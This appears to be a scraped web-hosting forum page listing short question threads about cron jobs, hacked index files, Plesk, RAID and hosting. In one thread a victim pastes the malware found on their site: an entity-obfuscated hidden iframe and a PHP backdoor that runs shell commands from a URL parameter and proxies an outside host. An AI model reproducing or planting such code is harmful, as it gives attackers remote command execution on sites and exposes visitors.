How To Set Up Cron Job To Replace Index File Every 3 Hours...

Apr 18, 2007

I would like to replace my index file every three hours, with a specified file on the server thats in a different folder (someone keeps putting unwanted stuff in my index file) Can someone explain to me how this is done?

View 2 Replies


ADVERTISEMENT

4 Hours To Replace Hardware

Apr 16, 2009

Recently a drive in one of my main box's has failed.

Ive contacted my provider, however there SLA states - 4 Hours for hardware replacement.

It takes 4 hours to replace a harddrive? What are they, sloths?

Anyone else had similar experiences when attempting to get drives replaced?

View 14 Replies View Related

Cron To Delete Files Every 24 Hours

Jun 15, 2008

I want to setup a crontab to delete a file every 24 hours, I am not the best in crontab so was wondering if one of you could please give me the command I should use?

View 7 Replies View Related

How To Add Cron To Restart Apache Server Every Three Hours

May 5, 2008

My host is experiencing "issues" with my WordPress. It keeps going above their upper limit of open MySQL connections. So, while I am diagnosing it, I need to restart the server every few hours to avoid it going down.

How do I write a cron to restart Apache every 3 hours?

View 5 Replies View Related

SSH Or Program How To File Replace Lots Of Files

Jan 14, 2007

I have anywhere between 80,000 - 90,000 webpages that have a single code into this. Unfortunately at the time the web developer I used didn't use PHP includes. So each .html file has the code in it.

I want a way so I can do a single command either a program or an SSH command can find the syntax in the files and replace it will code I have. Its just a single line of code that is basically for an adsense code, so the pub-blahblahblah etc..

Does anyone know of a SSH command I can use, or a program that will find and replace without manually opening up each file? 80k - 90k of opening files then find/replace will take forever!

View 11 Replies View Related

Protect Index File With Cpanel

Oct 26, 2008

I have subdomain, the index file was hacked

Who know how to protect the Index files with cpanel

View 8 Replies View Related

Malicious Code Added To Index File

Jul 9, 2008

I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.

I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.

View 8 Replies View Related

Plesk 11.x / Windows :: Restore Panel From Backup File Up To 11 Hours

Sep 16, 2013

I restored Plesk Panel from web-gui up to 11 hours, is it normal?I have more that 300 accounts.

View 1 Replies View Related

Customer Has Problem --- Index File Wont Show

Jun 13, 2007

One of my customers has been having a problem with his index files not showing up. It'll display the parent directory, and you can clearly see the index.html file in there, but it won't show it as the index.

It happened in one directory, and I went into .htaccess and did DirectoryIndex index.php.... but now i'm wondering if its part of a bigger problem, because its happening to other folders now.

View 6 Replies View Related

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View 5 Replies View Related

Setting Index.html As Default Page Instead Of Index.php?

Jun 23, 2008

Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.

View 1 Replies View Related

Cron: How To Run Php File

Feb 7, 2007

My server with cPanel, I'd like run file http://domain.com/file.php at 0h00 everyday, I have set the Cron Job in cPanel :

Code:
0 0 * * * /usr/bin/ehpwget http://domain.com/file.php
but The cron is not working well

Code:
/bin/sh: /usr/bin/ehpwget: No such file or directory

Can any one please let me know how to run a php file with cron.
(as user or root)

View 2 Replies View Related

301 Redirect From Index.htm Index.asp Using Limited IIS Server

Mar 6, 2007

I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.

The problem is that their old index.htm page has a pagerank of 4 which we want to keep.

And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.

The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.

My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?

JavaScript, I have heard is completely out the question

View 3 Replies View Related

Cron Command Remove File Not Working

Jan 1, 2007

I have edited /var/spool/cron/root file

and I've added this line:

*/1 * * * * rm -f /tmp/*.pl

and I have created file lol.pl

and after 10 minute file is still there, why?

View 4 Replies View Related

Plesk 11.x / Linux :: Setting Up Cron Job For Domain User - No Such File Or Directory

Apr 20, 2014

Can't get it working, I want to set up a cron job for a domain user, but seems that there's a problem to find the php executable. The command is:

Code:
/usr/bin/php/ -f /var/www/vhosts/thedomain.com/httpdocs/test.php

But the report says

-: /usr/bin/php/: No such file or directoryClick to expand...

View 3 Replies View Related

Index.php Is Not Working But Index.php? Is Ok

Mar 27, 2007

I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.

when I add "?" to the end of the URL[url]" it runs with no problems!

Is it something wrong with httpd.conf or what?

View 6 Replies View Related

Cron Job - "No Input File Specified."

Aug 21, 2007

I'm on paid hosting and accessing the cron jobs through a control panel.

I have a php script that I'd like to run daily.

I've put this script in the folder http://mysite.com/Cron/ .

When I navigate to this file directly in my web-browser it runs perfectly and sends me an e-mail.

When I try to set up a cron tab to execute it, though I get the following error in the cron output...

Quote:

Status: 404
X-Powered-By: PHP/4.4.6
Content-type: text/html

No input file specified.

The command I entered into the control panel was...

Quote:

php [url]

I also tried...

Quote:

php -q [url]

...and...

Quote:

php /Cron/SendMail.php

...those times getting the error...


Quote:

/bin/sh: [url]: No such file or directory

why this might not be working for me?

View 6 Replies View Related

Replace Disks With Little Downtime

Feb 12, 2008

I colo a 1U machine with 2-36gig drives. They're not in RAID, and I have it set to rsync backups to a remote machine on a regular schedule. I have another remote machine functioning as a secondary DNS. Neither of these 2 are on a large upstream pipe. I just bought 2-147gig drives that I'd like to replace the 36g's with. How does this sound for a scenario to accomplish this with little downtime (pre-pardon my noob'ish ways):

1. Do a complete rsync of the filesystem to my remote machine as well as sync the mysql db's (to 1 remote drive).

2. Pop that single rsync'd drive into an external enclosure.

3. Travel to datacenter, once there, plug external drive into laptop and start up a VM that boots off of that drive.

4. Sync again so external drive has the most up-to-date data.

5. Change over IP's from colo to VM on laptop.

6. Shutdown and swap out drives in colo'd box with the new ones.

7. Setup new drives as RAID 1, install OS, then rsync filesystem over from laptop to new drives in colo'd box.

8. Change back IP's.

What am I missing, or is there an easier way without a 2nd colo/dedicated server? Currently, the colo'd machine is using about 1.3Mbit/sec outbound and it's running a low load.

View 5 Replies View Related

Replace Hypervm/lxadmin

Jun 21, 2009

we know hypervm/lxadmin have some exploit. My server is ruuning with lxadmin. Is there any panel to replace it? I mean we can easily to reload OS, use File Manager like hypervm...

View 4 Replies View Related

Replace Larger HD For Raid 5

Jul 21, 2009

i have a msi server with three seagate HD,

and use seagate ST336607LC to do raid5.

the raid card is adaptec 2200S,

it is installed with centos with cpanel.

today,the websites shows 500 internal error and i asked the DC reboot,

minutes later,the websites run well.

but minutes later,it down again,and i ssh to reboot,

minutes,it shows file system problem,it seems readonly?...in my memory.

and i ask the DC to reboot again,

and i still can not login,and the DC staff tell me it shows with "operation system not found"...

and i go to DC,

it shows there is no logical drives... and operation system not found.

and i try to use ctrl+a to access raid control panel,

it shows there is no raid setting....

and i try to verify the hds in raid control panel,

it shows my 3rd hd has defect and ask if want to assign new block,

at begining,i chose no,it still can not load the os.

and then i chose yes to reassign the block and passing the verify,

but it still can not load the os.

i can not get any ST336607LC now,

i want to ask can i use larger HD to replace the 3rd hd?

if yes,after replacing and booting,

should i reset the raid configuation?

View 7 Replies View Related

Inexpensive VPS To Replace Reseller Hosting

Nov 4, 2009

Currently paying 24.95/month with Hostgator on a reseller plan but am only using ~2Gb drive space and less than 2Gb or monthly transfer.

Would be nice to find a VPS that has CPanel for about the same price range.

View 13 Replies View Related

Back-up Database And Replace The Existing One

Jan 4, 2007

I have a site but it was corrupted due to server problem with host. I have a back-up of DB in phpMySQL.

I am now installing the same script in new server and the site is now running.

The problem is, I want to use my back-up database and replace the existing one. How to do this?

View 2 Replies View Related

Find & Replace Of Text For Security...

Jul 25, 2007

My old VPS was hacked and an iframe html string was added to just about all the files on the server.

I've since then identified the vulnerability and moved to a new host and want to copy the accounts over but wanted to know if there was an easy way to search all the files for this html code and delete it?

For example, search all files for <iframe etc etc> and delete it?

I know this is probably rather simple...but I have no idea how to do it.

View 2 Replies View Related

Replace Linux With Windows Server Via Vkvm

Jun 1, 2009

I'm trying to replace my Linux OS with Windows Server 2003, which I already have a license.

I'm talking about OVH Kimsufi XL.

Following support's instructions, I booted my dedicated with netboot, specific with vkvm option.

Then I specified an ftp location, (where there is my "totally working" .iso), and I started the virtual session.

After some mins, a java windows appears, and starts the vnc session.

After usual linux loading, it stops on this :

Code:
VFS: Cannot open root device "801" or unknown-block(8,1)
Please append a correct "root=" boot option; here are the available partitions:
0300 244198584 hda driver: ide-gd
0301 5245191 hda1
0302 238428687 hda2
0303 522112 hda3

Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,1)

And, besides I cant write a letter!

View 13 Replies View Related

Plesk 11.x / Linux :: Can't Restore Backup And Replace Files

May 25, 2014

I am trying to restore a backup that Parallels Plesk made (latest version) and I used to get the option at some point to replace everything. Now, I only get the options to select what I want to restore and it fails because it says certain things, domains, content is already there.

I can't find the option anymore that allows me to say replace everything during the backup. Was that removed? If so, I'd really....really like it back.

Warning:
Failed deployment of domain localhost.localdomain
Warning:
Execution of /usr/local/psa/admin/plib/api-cli/domain.php --create localhost.localdomain -owner admin -do-not-apply-skeleton -notify false -guid 4fe5de63-3103-4fa0-a01c-04894e167107 -vendor-guid 75b2fa01-6c6e-4cb2-8f1b-9c69757fd3ec -creation-date 2014-02-13 -ip 46.165.251.98 -ignore-nonexistent-options failed with return code 1.
Stderr is
An error occurred during domain creation: There are no available resources of this type (domains) left. Requested: 1; available: 0.

View 1 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved